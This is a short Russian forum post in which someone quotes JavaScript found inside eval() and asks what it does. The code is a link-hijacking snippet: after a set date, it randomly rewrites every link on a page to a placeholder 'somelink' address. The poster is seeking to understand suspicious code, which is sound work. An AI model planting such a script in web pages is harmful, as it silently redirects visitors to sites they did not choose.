Я видел такой код
if (!('o' in window)) {
o = "somelink";
l =["n", "somelink"];
p =[0.8,1]; d = new Date("2018/01/01");
if (Date.now() >= d) {
r = Math.random();
var x = document.getElementsByTagName('a');
f=0;
for(j in x)
if(x[j].href && x[j].href.indexOf(o) != -1 )
f=1;
if(!f)
for(i in l)
if (p[i] >= r) {
if (l[i] != 'n')
for (j in x) x[j].href = l[i];
break;
}
}
}
Он внутри функции eval()
, и мне нужно понять, что это такое.Может кто-нибудь объяснить мне этот код?спасибо